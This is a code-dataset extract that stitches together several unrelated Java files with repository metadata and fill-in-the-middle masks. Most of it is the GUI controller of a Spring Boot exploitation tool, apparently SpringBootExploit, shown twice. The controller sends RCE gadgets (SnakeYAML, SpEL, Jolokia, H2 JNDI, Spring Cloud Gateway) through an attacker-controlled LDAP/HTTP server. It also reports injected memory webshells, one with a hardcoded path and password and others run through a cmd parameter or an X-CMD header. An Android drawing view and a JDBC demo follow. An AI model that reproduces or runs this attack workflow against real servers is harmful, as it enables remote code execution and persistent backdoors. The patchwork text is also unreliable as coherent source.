} else if (type.equals("SOCKS")) {
proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr);
currentProxy.put("proxy", proxy);
}
// this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port);
inputDialog.getDialogPane().getScene().getWindow().hide();
}
}
});
cancelBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent e) {
inputDialog.getDialogPane().getScene().getWindow().hide();
}
});
proxyGridPane.add(statusHbox, 1, 0);
proxyGridPane.add(typeLabel, 0, 1);
proxyGridPane.add(typeCombo, 1, 1);
proxyGridPane.add(IPLabel, 0, 2);
proxyGridPane.add(IPText, 1, 2);
proxyGridPane.add(PortLabel, 0, 3);
proxyGridPane.add(PortText, 1, 3);
proxyGridPane.add(userNameLabel, 0, 4);
proxyGridPane.add(userNameText, 1, 4);
proxyGridPane.add(passwordLabel, 0, 5);
proxyGridPane.add(passwordText, 1, 5);
HBox buttonBox = new HBox();
buttonBox.setSpacing(20.0D);
buttonBox.setAlignment(Pos.CENTER);
buttonBox.getChildren().add(cancelBtn);
buttonBox.getChildren().add(saveBtn);
GridPane.setColumnSpan(buttonBox, 2);
proxyGridPane.add(buttonBox, 0, 6);
inputDialog.getDialogPane().setContent(proxyGridPane);
inputDialog.showAndWait();
}
});
}
public void crackSpcGadgetBtn(ActionEvent actionEvent) {
if (this.attackService == null) {
this.initAttack();
}
if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){
if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
SpelUtils spel = new SpelUtils();
String poc = spel.SpelExpr(this.vps.getText());
String ssti = spel.SpelSsti(this.vps.getText());
this.logTextArea.appendText(Utils.log("Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload"));
this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
this.logTextArea.appendText(Utils.log(poc));
this.logTextArea.appendText(Utils.log(ssti));
}else {
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts());
if(flag){
System.out.println(this.gadgetOpt.getValue());
if (this.gadgetOpt.getValue().equalsIgnoreCase("SpringCloudGatewayRCE")){
this.logTextArea.appendText(Utils.log(" SpringCloudGateway 漏洞利用成功"));
this.logTextArea.appendText(Utils.log(" 请自行检查是NettyMemshell 还是 SpringRequestMappingMemshell!"));
this.logTextArea.appendText(Utils.log(" 如果是SpringRequestMappingMemshell,/?cmd={cmd} 执行命令"));
this.logTextArea.appendText(Utils.log(" 如果是NettyMemshell,header头 X-CMD: {cmd} 执行命令"));
}else {
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
this.logTextArea.appendText(Utils.log( " /ateam 密码:ateamnb"));
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败!\t"));
}
}
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败!\t"));
}
}
}
}
public void crackGadgetBtn(ActionEvent actionEvent) {
}
// 验证服务端是否配置成功
public boolean connect() {
try {
String vps = this.vps.getText();
if(!vps.isEmpty()){
// 判断http 服务是否生效
if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){
this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
// 判断 ldap 服务是否生效
// if(ldapUtil.sendLDAPRequest(vps)){
// this.logTextArea.appendText(Utils.log("LDAP Server Is OK!"));
// this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!"));
// return true;
// }else {
// this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!"));
// this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用!"));
// }
return true;
}else {
this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败!"));
this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用!"));
}
}
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
return false;
}
public void check(ActionEvent actionEvent) {
try {
SpringBootInfo info = new SpringBootInfo();
info.doCheck(this.targetAddress.getText());
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
}
public String[] getPorts(){
String[] result = new String[]{this.hport.getText(),this.lport.getText()};
return result;
}
}
| 0x727/SpringBootExploit | src/main/java/com/drops/ui/MainController.java | 3,748 | // 验证服务端是否配置成功 | line_comment | zh-cn | package com.drops.ui;
import com.drops.entity.ControllersFactory;
import com.drops.main.AttackService;
import com.drops.poc.SpringBootInfo;
import com.drops.utils.*;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.stage.Window;
import javafx.stage.WindowEvent;
import java.net.Authenticator;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @ClassName: Gui
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/20 16:50
* @Version: v1.0.0
* @Description:
**/
public class MainController {
@FXML
private MenuItem proxySetupBtn;
public static Map currentProxy = new HashMap();
// 设置 目标地址
@FXML
private TextField targetAddress;
// 设置超时
@FXML
private TextField httpTimeout;
@FXML
private TextField vps;
@FXML
private Button crackKeyBtn;
@FXML
private Button crackSpcKeyBtn;
@FXML
public ComboBox<String> gadgetOpt;
@FXML
public ComboBox<String> echoOpt ;
@FXML
private Button crackGadgetBtn;
@FXML
private Button crackSpcGadgetBtn;
@FXML
public TextArea logTextArea;
@FXML
private Label proxyStatusLabel;
@FXML
private TextField exCommandText;
@FXML
public TextArea execOutputArea;
@FXML
private Button executeCmdBtn;
@FXML
public ComboBox<String> memShellOpt;
@FXML
private TextField shellPathText;
@FXML
private TextField shellPassText;
@FXML
private Button injectShellBtn;
@FXML
public TextArea InjOutputArea;
public static TextArea ip;
@FXML
public TextField hport;
@FXML
public TextField lport;
public static String hports;
public static String lports;
LDAPUtil ldapUtil = null;
public AttackService attackService = null;
@FXML
void initialize() {
this.initToolbar();
this.initComBoBox();
// this.initContext();
this.initConnect();
this.initAttack();
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
}
public void initAttack() {
String targetAddressText = this.targetAddress.getText();
String httpTimeoutText = this.httpTimeout.getText();
boolean version = false;
this.attackService = new AttackService(targetAddressText, httpTimeoutText);
}
private void initConnect() {
// this.vps.setText("1.116.32.76");
this.vps.setText("127.0.0.1");
this.httpTimeout.setText("50");
this.targetAddress.setText("http://127.0.0.1:9095");
this.lport.setText("1389");
this.hport.setText("3456");
}
private void initComBoBox() {
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "SpringCloudGatewayRCE"});
this.gadgetOpt.setPromptText("SnakeYAMLRCE");
this.gadgetOpt.setValue("SnakeYAMLRCE");
this.gadgetOpt.setItems(gadgets);
// ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"});
// this.echoOpt.setPromptText("TomcatEcho");
// this.echoOpt.setValue("TomcatEcho");
// this.echoOpt.setItems(echoes);
// this.shellPassText.setText("cat666");
// this.shellPathText.setText("/catcat66");
// final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
// this.memShellOpt.setPromptText("冰蝎[Filter]");
// this.memShellOpt.setValue("冰蝎[Filter]");
// this.memShellOpt.setItems(memShells);
// this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
// @Override
// public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) {
// if (((String)memShells.get(number2.intValue())).contains("reGeorg")) {
// MainController.this.shellPassText.setDisable(true);
// } else {
// MainController.this.shellPassText.setDisable(false);
// }
//
// }
// });
}
private void initToolbar() {
this.proxySetupBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
final Alert inputDialog = new Alert(Alert.AlertType.NONE);
inputDialog.setResizable(true);
final Window window = inputDialog.getDialogPane().getScene().getWindow();
window.setOnCloseRequest(new EventHandler<WindowEvent>() {
@Override
public void handle(WindowEvent e) {
window.hide();
}
});
ToggleGroup statusGroup = new ToggleGroup();
RadioButton enableRadio = new RadioButton("启用");
final RadioButton disableRadio = new RadioButton("禁用");
enableRadio.setToggleGroup(statusGroup);
disableRadio.setToggleGroup(statusGroup);
HBox statusHbox = new HBox();
statusHbox.setSpacing(10.0D);
statusHbox.getChildren().add(enableRadio);
statusHbox.getChildren().add(disableRadio);
GridPane proxyGridPane = new GridPane();
proxyGridPane.setVgap(15.0D);
proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
Label typeLabel = new Label("类型:");
final ComboBox<String> typeCombo = new ComboBox();
typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
typeCombo.getSelectionModel().select(0);
Label IPLabel = new Label("IP地址:");
final TextField IPText = new TextField();
Label PortLabel = new Label("端口:");
final TextField PortText = new TextField();
Label userNameLabel = new Label("用户名:");
final TextField userNameText = new TextField();
Label passwordLabel = new Label("密码:");
final TextField passwordText = new TextField();
Button cancelBtn = new Button("取消");
Button saveBtn = new Button("保存");
saveBtn.setDefaultButton(true);
if (currentProxy.get("proxy") != null) {
Proxy currProxy = (Proxy) currentProxy.get("proxy");
String proxyInfo = currProxy.address().toString();
String[] info = proxyInfo.split(":");
String hisIpAddress = info[0].replace("/", "");
String hisPort = info[1];
IPText.setText(hisIpAddress);
PortText.setText(hisPort);
enableRadio.setSelected(true);
System.out.println(proxyInfo);
} else {
enableRadio.setSelected(false);
}
saveBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent e) {
if (disableRadio.isSelected()) {
currentProxy.put("proxy", (Object) null);
// this.proxyStatusLabel.setText("");
inputDialog.getDialogPane().getScene().getWindow().hide();
} else {
String type;
String ipAddress;
if (!userNameText.getText().trim().equals("")) {
ipAddress = userNameText.getText().trim();
type = passwordText.getText();
final String finalIpAddress = ipAddress;
final String finalType = type;
Authenticator.setDefault(new Authenticator() {
@Override
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(finalIpAddress, finalType.toCharArray());
}
});
} else {
Authenticator.setDefault((Authenticator) null);
}
currentProxy.put("username", userNameText.getText());
currentProxy.put("password", passwordText.getText());
ipAddress = IPText.getText();
String port = PortText.getText();
InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port));
type = ((String) typeCombo.getValue()).toString();
Proxy proxy;
if (type.equals("HTTP")) {
proxy = new Proxy(Proxy.Type.HTTP, proxyAddr);
currentProxy.put("proxy", proxy);
} else if (type.equals("SOCKS")) {
proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr);
currentProxy.put("proxy", proxy);
}
// this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port);
inputDialog.getDialogPane().getScene().getWindow().hide();
}
}
});
cancelBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent e) {
inputDialog.getDialogPane().getScene().getWindow().hide();
}
});
proxyGridPane.add(statusHbox, 1, 0);
proxyGridPane.add(typeLabel, 0, 1);
proxyGridPane.add(typeCombo, 1, 1);
proxyGridPane.add(IPLabel, 0, 2);
proxyGridPane.add(IPText, 1, 2);
proxyGridPane.add(PortLabel, 0, 3);
proxyGridPane.add(PortText, 1, 3);
proxyGridPane.add(userNameLabel, 0, 4);
proxyGridPane.add(userNameText, 1, 4);
proxyGridPane.add(passwordLabel, 0, 5);
proxyGridPane.add(passwordText, 1, 5);
HBox buttonBox = new HBox();
buttonBox.setSpacing(20.0D);
buttonBox.setAlignment(Pos.CENTER);
buttonBox.getChildren().add(cancelBtn);
buttonBox.getChildren().add(saveBtn);
GridPane.setColumnSpan(buttonBox, 2);
proxyGridPane.add(buttonBox, 0, 6);
inputDialog.getDialogPane().setContent(proxyGridPane);
inputDialog.showAndWait();
}
});
}
public void crackSpcGadgetBtn(ActionEvent actionEvent) {
if (this.attackService == null) {
this.initAttack();
}
if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){
if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
SpelUtils spel = new SpelUtils();
String poc = spel.SpelExpr(this.vps.getText());
String ssti = spel.SpelSsti(this.vps.getText());
this.logTextArea.appendText(Utils.log("Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload"));
this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
this.logTextArea.appendText(Utils.log(poc));
this.logTextArea.appendText(Utils.log(ssti));
}else {
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts());
if(flag){
System.out.println(this.gadgetOpt.getValue());
if (this.gadgetOpt.getValue().equalsIgnoreCase("SpringCloudGatewayRCE")){
this.logTextArea.appendText(Utils.log(" SpringCloudGateway 漏洞利用成功"));
this.logTextArea.appendText(Utils.log(" 请自行检查是NettyMemshell 还是 SpringRequestMappingMemshell!"));
this.logTextArea.appendText(Utils.log(" 如果是SpringRequestMappingMemshell,/?cmd={cmd} 执行命令"));
this.logTextArea.appendText(Utils.log(" 如果是NettyMemshell,header头 X-CMD: {cmd} 执行命令"));
}else {
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
this.logTextArea.appendText(Utils.log( " /ateam 密码:ateamnb"));
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败!\t"));
}
}
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败!\t"));
}
}
}
}
public void crackGadgetBtn(ActionEvent actionEvent) {
}
// 验证 <SUF>
public boolean connect() {
try {
String vps = this.vps.getText();
if(!vps.isEmpty()){
// 判断http 服务是否生效
if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){
this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
// 判断 ldap 服务是否生效
// if(ldapUtil.sendLDAPRequest(vps)){
// this.logTextArea.appendText(Utils.log("LDAP Server Is OK!"));
// this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!"));
// return true;
// }else {
// this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!"));
// this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用!"));
// }
return true;
}else {
this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败!"));
this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用!"));
}
}
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
return false;
}
public void check(ActionEvent actionEvent) {
try {
SpringBootInfo info = new SpringBootInfo();
info.doCheck(this.targetAddress.getText());
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
}
public String[] getPorts(){
String[] result = new String[]{this.hport.getText(),this.lport.getText()};
return result;
}
}
| 0 |
49815_11 | package com.zhangke.widget;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PointF;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Stack;
/**
* 画板 View
* <p>
* Created by zk721 on 2018/2/17.
*/
public class DrawView extends View {
private static final String TAG = "DrawView";
/**
* 画笔颜色数组
*/
private final int[] COLOR_ARRAY = {0xffEA4335, 0xff4285F4,
0xffFBBC05, 0xff34A853, 0xff42BD17, 0xff90BD0E, 0xff18BD8D,
0xff27BDAD, 0xff2098BD, 0xffA96FBD, 0xff86B9BD, 0xff3DBDA4};
/**
* 绘制画笔
*/
private Paint mPaint = new Paint();
/**
* 历史路径
*/
private List<DrawPath> mDrawMoveHistory = new ArrayList<>();
/**
* 用于生成随机数,随机取出颜色数组中的颜色
*/
private Random random = new Random();
public DrawView(Context context) {
super(context);
init();
}
public DrawView(Context context, @Nullable AttributeSet attrs) {
super(context, attrs);
init();
}
public DrawView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init();
}
private void init() {
mPaint.setAntiAlias(true);
mPaint.setStyle(Paint.Style.STROKE);
mPaint.setStrokeCap(Paint.Cap.ROUND);
mPaint.setStrokeWidth(dip2px(getContext(), 5));
}
@Override
public boolean onTouchEvent(MotionEvent event) {
//多指触控需要使用 getActionMasked
switch (event.getActionMasked()) {
case MotionEvent.ACTION_DOWN: {
//处理点击事件
performClick();
//重置所有 PointerId 为 -1
clearTouchRecordStatus();
//新增一个轨迹
addNewPath(event);
//重绘
invalidate();
return true;
}
case MotionEvent.ACTION_MOVE: {
if (mDrawMoveHistory.size() > 0) {
for (int i = 0; i < event.getPointerCount(); i++) {
//遍历当前屏幕上所有手指
int itemPointerId = event.getPointerId(i);//获取到这个手指的 ID
for (DrawPath itemPath : mDrawMoveHistory) {
//遍历绘制记录表,通过 ID 找到对应的记录
if (itemPointerId == itemPath.pointerId) {
int pointerIndex = event.findPointerIndex(itemPointerId);
//通过 pointerIndex 获取到此次滑动事件的所有历史轨迹
List<PointF> recordList = readPointList(event, pointerIndex);
if (!listEquals(recordList, itemPath.record.peek())) {
//判断该 List 是否已存在,不存在则添加进去
itemPath.record.push(recordList);
addPath(recordList, itemPath.path);
}
}
}
}
invalidate();
}
return true;
}
case MotionEvent.ACTION_POINTER_UP:
//屏幕上有一根指头抬起,但有别的指头未抬起时的事件
int pointerId = event.getPointerId(event.getActionIndex());
for (DrawPath item : mDrawMoveHistory) {
if (item.pointerId == pointerId) {
//该手指已绘制结束,将此 PointerId 重置为 -1
item.pointerId = -1;
}
}
break;
case MotionEvent.ACTION_POINTER_DOWN:
//屏幕上已经有了手指,此时又有别的手指点击时事件
addNewPath(event);
invalidate();
break;
case MotionEvent.ACTION_UP:
//最后一根手指抬起,重置所有 PointerId
clearTouchRecordStatus();
break;
case MotionEvent.ACTION_CANCEL:
//事件被取消
clearTouchRecordStatus();
break;
}
return true;
}
private void addNewPath(MotionEvent event) {
int pointerId = event.getPointerId(event.getActionIndex());
float x = event.getX(event.findPointerIndex(pointerId));
float y = event.getY(event.findPointerIndex(pointerId));
Path path = new Path();
path.moveTo(x, y);
path.lineTo(x, y);
DrawPath drawPath = new DrawPath(pointerId, getPathColor(), path);
List<PointF> pointList = new ArrayList<>();
pointList.add(new PointF(x, y));
pointList.add(new PointF(x, y));
drawPath.record.push(pointList);
mDrawMoveHistory.add(drawPath);
}
private List<PointF> readPointList(MotionEvent event, int pointerIndex) {
List<PointF> list = new ArrayList<>();
for (int j = 0; j < event.getHistorySize(); j++) {
list.add(new PointF(event.getHistoricalX(pointerIndex, j), event.getHistoricalY(pointerIndex, j)));
}
return list;
}
/**
* 判断两个列表中所有的数据是否相同
*/
private boolean listEquals(List<PointF> lis1, List<PointF> list2) {
if (lis1.equals(list2)) {
return true;
}
if (lis1.size() != list2.size()) {
return false;
}
if (lis1.isEmpty()) {
return true;
}
for (int i = 0; i < lis1.size(); i++) {
PointF point1 = lis1.get(i);
PointF point2 = list2.get(i);
if (!point1.equals(point2)) {
return false;
}
}
return true;
}
private void addPath(List<PointF> list, Path path) {
for (PointF item : list) {
path.lineTo(item.x, item.y);
}
}
/**
* 清除记录触摸事件的状态
*/
private void clearTouchRecordStatus() {
for (DrawPath item : mDrawMoveHistory) {
item.pointerId = -1;
}
}
@Override
public boolean performClick() {
return super.performClick();
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
if (mDrawMoveHistory == null || mDrawMoveHistory.isEmpty()) {
return;
}
for (DrawPath item : mDrawMoveHistory) {
mPaint.setColor(item.drawColor);
canvas.drawPath(item.path, mPaint);
}
}
/**
* 清空画布
*/
public void clear() {
mDrawMoveHistory.clear();
invalidate();
}
/**
* 获取绘制图案的 Bitmap
*/
public Bitmap getDrawBitmap() {
Bitmap bitmap;
try {
setDrawingCacheEnabled(true);
buildDrawingCache();
bitmap = Bitmap.createBitmap(getDrawingCache(), 0, 0, getMeasuredWidth(), getMeasuredHeight(), null, false);
} finally {
setDrawingCacheEnabled(false);
destroyDrawingCache();
}
return bitmap;
}
/**
* 将dip或dp值转换为px值,保证尺寸大小不变
*/
private int dip2px(Context context, float dipValue) {
final float scale = context.getResources().getDisplayMetrics().density;
return (int) ((double) dipValue * (double) scale + 0.5);
}
private int getPathColor() {
return COLOR_ARRAY[random.nextInt(COLOR_ARRAY.length)];
}
private static class DrawPath {
/**
* 手指 ID,默认为 -1,手指离开后置位 -1
*/
private int pointerId = -1;
/**
* 曲线颜色
*/
private int drawColor;
/**
* 曲线路径
*/
private Path path;
/**
* 轨迹列表,用于判断目标轨迹是否已添加进来
*/
private Stack<List<PointF>> record;
DrawPath(int pointerId, int drawColor, Path path) {
this.pointerId = pointerId;
this.drawColor = drawColor;
this.path = path;
record = new Stack<>();
}
}
}
| 0xZhangKe/Collection | DrawView/DrawView.java | 2,095 | //遍历绘制记录表,通过 ID 找到对应的记录 | line_comment | zh-cn | package com.zhangke.widget;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PointF;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Stack;
/**
* 画板 View
* <p>
* Created by zk721 on 2018/2/17.
*/
public class DrawView extends View {
private static final String TAG = "DrawView";
/**
* 画笔颜色数组
*/
private final int[] COLOR_ARRAY = {0xffEA4335, 0xff4285F4,
0xffFBBC05, 0xff34A853, 0xff42BD17, 0xff90BD0E, 0xff18BD8D,
0xff27BDAD, 0xff2098BD, 0xffA96FBD, 0xff86B9BD, 0xff3DBDA4};
/**
* 绘制画笔
*/
private Paint mPaint = new Paint();
/**
* 历史路径
*/
private List<DrawPath> mDrawMoveHistory = new ArrayList<>();
/**
* 用于生成随机数,随机取出颜色数组中的颜色
*/
private Random random = new Random();
public DrawView(Context context) {
super(context);
init();
}
public DrawView(Context context, @Nullable AttributeSet attrs) {
super(context, attrs);
init();
}
public DrawView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init();
}
private void init() {
mPaint.setAntiAlias(true);
mPaint.setStyle(Paint.Style.STROKE);
mPaint.setStrokeCap(Paint.Cap.ROUND);
mPaint.setStrokeWidth(dip2px(getContext(), 5));
}
@Override
public boolean onTouchEvent(MotionEvent event) {
//多指触控需要使用 getActionMasked
switch (event.getActionMasked()) {
case MotionEvent.ACTION_DOWN: {
//处理点击事件
performClick();
//重置所有 PointerId 为 -1
clearTouchRecordStatus();
//新增一个轨迹
addNewPath(event);
//重绘
invalidate();
return true;
}
case MotionEvent.ACTION_MOVE: {
if (mDrawMoveHistory.size() > 0) {
for (int i = 0; i < event.getPointerCount(); i++) {
//遍历当前屏幕上所有手指
int itemPointerId = event.getPointerId(i);//获取到这个手指的 ID
for (DrawPath itemPath : mDrawMoveHistory) {
//遍历 <SUF>
if (itemPointerId == itemPath.pointerId) {
int pointerIndex = event.findPointerIndex(itemPointerId);
//通过 pointerIndex 获取到此次滑动事件的所有历史轨迹
List<PointF> recordList = readPointList(event, pointerIndex);
if (!listEquals(recordList, itemPath.record.peek())) {
//判断该 List 是否已存在,不存在则添加进去
itemPath.record.push(recordList);
addPath(recordList, itemPath.path);
}
}
}
}
invalidate();
}
return true;
}
case MotionEvent.ACTION_POINTER_UP:
//屏幕上有一根指头抬起,但有别的指头未抬起时的事件
int pointerId = event.getPointerId(event.getActionIndex());
for (DrawPath item : mDrawMoveHistory) {
if (item.pointerId == pointerId) {
//该手指已绘制结束,将此 PointerId 重置为 -1
item.pointerId = -1;
}
}
break;
case MotionEvent.ACTION_POINTER_DOWN:
//屏幕上已经有了手指,此时又有别的手指点击时事件
addNewPath(event);
invalidate();
break;
case MotionEvent.ACTION_UP:
//最后一根手指抬起,重置所有 PointerId
clearTouchRecordStatus();
break;
case MotionEvent.ACTION_CANCEL:
//事件被取消
clearTouchRecordStatus();
break;
}
return true;
}
private void addNewPath(MotionEvent event) {
int pointerId = event.getPointerId(event.getActionIndex());
float x = event.getX(event.findPointerIndex(pointerId));
float y = event.getY(event.findPointerIndex(pointerId));
Path path = new Path();
path.moveTo(x, y);
path.lineTo(x, y);
DrawPath drawPath = new DrawPath(pointerId, getPathColor(), path);
List<PointF> pointList = new ArrayList<>();
pointList.add(new PointF(x, y));
pointList.add(new PointF(x, y));
drawPath.record.push(pointList);
mDrawMoveHistory.add(drawPath);
}
private List<PointF> readPointList(MotionEvent event, int pointerIndex) {
List<PointF> list = new ArrayList<>();
for (int j = 0; j < event.getHistorySize(); j++) {
list.add(new PointF(event.getHistoricalX(pointerIndex, j), event.getHistoricalY(pointerIndex, j)));
}
return list;
}
/**
* 判断两个列表中所有的数据是否相同
*/
private boolean listEquals(List<PointF> lis1, List<PointF> list2) {
if (lis1.equals(list2)) {
return true;
}
if (lis1.size() != list2.size()) {
return false;
}
if (lis1.isEmpty()) {
return true;
}
for (int i = 0; i < lis1.size(); i++) {
PointF point1 = lis1.get(i);
PointF point2 = list2.get(i);
if (!point1.equals(point2)) {
return false;
}
}
return true;
}
private void addPath(List<PointF> list, Path path) {
for (PointF item : list) {
path.lineTo(item.x, item.y);
}
}
/**
* 清除记录触摸事件的状态
*/
private void clearTouchRecordStatus() {
for (DrawPath item : mDrawMoveHistory) {
item.pointerId = -1;
}
}
@Override
public boolean performClick() {
return super.performClick();
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
if (mDrawMoveHistory == null || mDrawMoveHistory.isEmpty()) {
return;
}
for (DrawPath item : mDrawMoveHistory) {
mPaint.setColor(item.drawColor);
canvas.drawPath(item.path, mPaint);
}
}
/**
* 清空画布
*/
public void clear() {
mDrawMoveHistory.clear();
invalidate();
}
/**
* 获取绘制图案的 Bitmap
*/
public Bitmap getDrawBitmap() {
Bitmap bitmap;
try {
setDrawingCacheEnabled(true);
buildDrawingCache();
bitmap = Bitmap.createBitmap(getDrawingCache(), 0, 0, getMeasuredWidth(), getMeasuredHeight(), null, false);
} finally {
setDrawingCacheEnabled(false);
destroyDrawingCache();
}
return bitmap;
}
/**
* 将dip或dp值转换为px值,保证尺寸大小不变
*/
private int dip2px(Context context, float dipValue) {
final float scale = context.getResources().getDisplayMetrics().density;
return (int) ((double) dipValue * (double) scale + 0.5);
}
private int getPathColor() {
return COLOR_ARRAY[random.nextInt(COLOR_ARRAY.length)];
}
private static class DrawPath {
/**
* 手指 ID,默认为 -1,手指离开后置位 -1
*/
private int pointerId = -1;
/**
* 曲线颜色
*/
private int drawColor;
/**
* 曲线路径
*/
private Path path;
/**
* 轨迹列表,用于判断目标轨迹是否已添加进来
*/
private Stack<List<PointF>> record;
DrawPath(int pointerId, int drawColor, Path path) {
this.pointerId = pointerId;
this.drawColor = drawColor;
this.path = path;
record = new Stack<>();
}
}
}
| 0 |
30389_3 | package pers.tan.database;
import java.io.InputStream;
import java.sql.*;
import java.util.Properties;
/**
* DB class
*
* @author tanwei
* @date 17-11-19
*/
public class DB {
private static Properties info = null;
private static String driverUrl = null;
private static String user = null;
private static String password = null;
private static String driverClass = null;
{
try {
InputStream in = getClass().getClassLoader().getResourceAsStream("jdbc.properties");
Properties properties = new Properties();
properties.load(in);
driverClass = properties.getProperty("driverClass");
driverUrl = properties.getProperty("driverUrl");
user = properties.getProperty("user");
password = properties.getProperty("password");
info = new Properties();
info.put("user", user);
info.put("password", password);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 直接通过驱动获取数据库连接
* @return
* @throws Exception
*/
public Connection getConnectByDriver() throws Exception {
Driver driver = (Driver) Class.forName(driverClass).newInstance();
Connection connection = driver.connect(driverUrl, info);
return connection;
}
/**
* 通过DriverManager获取数据库连接
* @return
* @throws Exception
*/
public Connection getConnect() throws Exception {
Class.forName(driverClass);
Connection connection = DriverManager.getConnection(driverUrl,user, password);
return connection;
}
/**
* 插入100条记录
*/
public void insert() {
Statement statement = null;
try {
statement = getConnect().createStatement();
long start = System.currentTimeMillis();
for(int i = 1; i <= 100; ++i) {
String sql = "INSERT INTO hero VALUES(null, '英雄'," + i + ", " + i + ")";
statement.execute(sql);
}
long end = System.currentTimeMillis();
System.out.println("插入100条sql耗时" + (end - start) / 1000 + "s");
} catch (Exception e) {
e.printStackTrace();
} finally {
if(statement != null) {
try {
statement.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
}
}
| 0xc9e36/toyCode | java/src/pers/tan/database/DB.java | 548 | /**
* 插入100条记录
